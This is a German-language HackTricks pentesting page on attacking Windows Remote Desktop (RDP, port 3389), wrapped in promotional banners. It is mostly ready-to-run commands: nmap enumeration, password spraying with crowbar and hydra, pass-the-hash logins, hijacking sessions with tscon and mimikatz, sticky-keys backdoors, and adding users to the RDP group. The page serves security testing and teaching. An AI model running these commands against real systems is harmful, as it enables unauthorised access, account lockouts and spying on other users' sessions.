hacktricks/network-services-pentesting/pentesting-rdp.md

165 lines
9.9 KiB
Markdown

# 3389 - Pentesting RDP
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
</details>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
## Grundlegende Informationen
Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer eine **RDP**-Clientsoftware verwendet, und gleichzeitig muss der entfernte Computer **RDP**-Serversoftware betreiben. Diese Einrichtung ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch im Wesentlichen dessen Oberfläche auf das lokale Gerät des Benutzers gebracht wird.
**Standardport:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Enumeration
### Automatisch
{% code overflow="wrap" %}
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
{% endcode %}
Es überprüft die verfügbare Verschlüsselung und DoS-Schwachstelle (ohne einen DoS-Angriff auf den Dienst zu verursachen) und erhält NTLM-Windows-Informationen (Versionen).
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#rdp)
**Seien Sie vorsichtig, Sie könnten Konten sperren**
### **Passwort-Spraying**
**Seien Sie vorsichtig, Sie könnten Konten sperren**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Verbindung mit bekannten Anmeldeinformationen/Hash herstellen
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Überprüfen von bekannten Anmeldedaten gegen RDP-Dienste
rdp_check.py von Impacket ermöglicht es Ihnen zu überprüfen, ob bestimmte Anmeldedaten für einen RDP-Dienst gültig sind:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
## **Angriffe**
### Sitzungsraub
Mit **SYSTEM-Berechtigungen** können Sie auf jede **geöffnete RDP-Sitzung eines beliebigen Benutzers** zugreifen, ohne das Passwort des Besitzers zu kennen.
**Geöffnete Sitzungen abrufen:**
```
query user
```
**Zugriff auf die ausgewählte Sitzung**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Nun werden Sie innerhalb der ausgewählten RDP-Sitzung sein und einen Benutzer mithilfe von nur Windows-Tools und -Funktionen imitieren.
**Wichtig**: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden.
Sie könnten Passwörter aus dem Prozess auslesen, aber diese Methode ist viel schneller und ermöglicht es Ihnen, mit den virtuellen Desktops des Benutzers zu interagieren (Passwörter in Notepad ohne auf der Festplatte gespeichert zu werden, andere RDP-Sitzungen auf anderen Maschinen geöffnet...)
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Durch die Kombination dieser Technik mit **Stickykeys** oder **Utilman können Sie jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen**
Sie können bereits mit einer dieser Techniken kompromittierte RDPs durchsuchen: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Prozessinjektion
Wenn sich jemand aus einer anderen Domäne oder mit **höheren Berechtigungen über RDP** auf dem PC anmeldet, auf dem **Sie ein Administrator sind**, können Sie Ihren Beacon in seinen **RDP-Sitzungsprozess injizieren** und als er handeln:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### Benutzer zur RDP-Gruppe hinzufügen
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Automatische Tools
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich darauf ausgelegt ist, den **Shadow**-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem entfernten Angreifer, den Desktop seines Opfers **ohne dessen Zustimmung anzusehen** und ihn sogar bei Bedarf mit den nativen Tools des Betriebssystems zu steuern.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Steuern Sie Maus und Tastatur auf automatisierte Weise über die Befehlszeile
* Steuern Sie die Zwischenablage auf automatisierte Weise über die Befehlszeile
* Starten Sie einen SOCKS-Proxy vom Client aus, der die Netzwerkkommunikation zum Ziel über RDP leitet
* Führen Sie beliebige SHELL- und PowerShell-Befehle auf dem Ziel aus, ohne Dateien hochzuladen
* Laden Sie Dateien auf das Ziel hoch und herunter, auch wenn Dateiübertragungen auf dem Ziel deaktiviert sind
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Sofort verfügbare Einrichtung für Schwachstellenanalyse & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit mehr als 20 Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>